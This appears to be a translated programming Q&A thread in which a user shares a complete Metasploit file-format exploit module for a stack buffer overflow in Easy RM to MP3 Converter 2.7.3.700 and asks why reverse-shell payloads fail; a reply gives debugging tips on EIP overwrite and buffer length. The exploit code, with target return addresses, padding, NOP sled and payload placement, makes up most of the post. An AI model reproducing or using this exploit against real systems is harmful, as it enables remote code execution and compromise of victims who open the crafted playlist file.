【问题标题】:Problems with metasploit's "Easyrmtomp3" exploit modulemetasploit 的“Easyrmtomp3”漏洞利用模块的问题
【发布时间】:2013-06-28 16:24:36
【问题描述】:

我在一段时间前开始学习编写漏洞利用程序并创建了一些漏洞利用程序。其中一个是简单的rmmp3 转换器,并且效果很好。 但是,现在我考虑将我的漏洞利用程序转换为 metasploit 模块,并按照许多文章中给出的步骤进行操作。但是,我面临的唯一错误是有效负载不起作用。最终,我求助于在网上寻找一个类似的模块,并找到了一个肯定可以工作的模块。但是,当使用meterpreter 有效负载时,我没有返回meterpreter 会话或shell。做了一些更改后,这是我使用的:

require 'msf/core'
 
class Metasploit3 < Msf::Exploit::Remote
    Rank = GoodRanking
 
    include Msf::Exploit::FILEFORMAT
 
    def initialize(info = {})
        super(update_info(info,
            'Name' => 'Easy RM to MP3 Converter (2.7.3.700) Stack Buffer Overflow',
      'Description'    => %q{
                This module exploits a stack buffer overflow in versions 2.7.3.700
               creating a specially crafted .m3u8 file, an attacker may be able 
               to execute arbitrary code.
      },
            'License' => MSF_LICENSE,
            'Author' => 
               [
                 'Crazy_Hacker', # Original
        'buzz',
               ],
            'Version' => 'Version 1',
            'References' =>
                [
                  [ 'URL', 'http://packetstormsecurity.org/files/view/79307/easyrmmp3-overflow.txt' ],
                ],
            'DefaultOptions' =>
                {
                    'EXITFUNC' => 'process',
                },
            'Payload' =>
                {
                    'Space' => 1000,
                    'BadChars' => "\x00\x0a",
                    'StackAdjustment' => -3500,
                },
            'Platform' => 'win',
            'Targets' =>
                [
        
                  [ 'Windows XP SP2 (En)', { 'Ret' => 0x01A13F01} ], # Universal Address (MSRMCcodec02.dll)
                  [ 'Windows XP SP3 (Fr)', { 'Ret' => 0x01AAF23A} ], # FFE4 ,JMP, ESP from (MSRMCcodec02.dll)
                  [ 'Windows XP (Universal)', { 'Ret' => 0x773D4540} ], # JMP ESP in (SHELL32.DLL)
                ],
            'Privileged' => false,
            'DefaultTarget' => 1))
 
        register_options(
            [
                OptString.new('FILENAME', [ false, 'The file name.', 'buzz.m3u']),
            ], self.class)
    end
 
 
    def exploit

       sploit ="A"*26068 # rand_text_alphanumeric(26068) # Buffer Overflow
        sploit << [target.ret].pack('V')
        sploit << "\x90" * 30 # nopsled
        sploit << payload.encoded 
        sploit << "B"*1000
        buzz= sploit
        print_status("Creating '#{datastore['FILENAME']}' file ...")
        file_create(buzz)
 
    end
 
end

我尝试了许多有效负载:meterpreter/reverse_tcpshell/reverse_tcp 等,但似乎没有一个有效。有什么解决办法吗?

【问题讨论】:

    标签: exploit metasploit


    【解决方案1】:

    您还应该提供有关您正在使用的操作系统的更多详细信息以及您为运行该模块而提供的参数。

    如您所见,指向 Ret 的指针因操作系统而异。

    您是否已附加调试器以查看应用程序中发生了什么?根据我对漏洞的了解和了解,您的模糊测试字符串似乎不适合缓冲区

    sploit="A"*26068

    应该不止于此。附加一个调试器并查看 EIP 是否已被覆盖。

    问候, T0X1C

    【讨论】:

    • 使用 windows xp sp3,完成上述测试,甚至使用免疫调试器使用简单的 ruby​​ 脚本运行它(检查了 eip,检查了 badchars 等)。只有当我使用 metasploit 时,有效载荷不工作
    • 您使用的 ruby​​ 脚本是什么样的,您确定可以将 0x773D4540 中的 jmp esp 用作通用吗?调试器的屏幕截图可能也很有用
    • 抱歉,这是我在堆栈溢出中的第二个问题,我没有足够的积分来发布图片,我会尝试尽快收集并发布 - 任何没有图片的建议??
    猜你喜欢
    • 1970-01-01
    • 1970-01-01
    • 1970-01-01
    • 2018-05-11
    • 1970-01-01
    • 2014-03-15
    • 1970-01-01
    • 1970-01-01
    • 1970-01-01
    相关资源
    最近更新 更多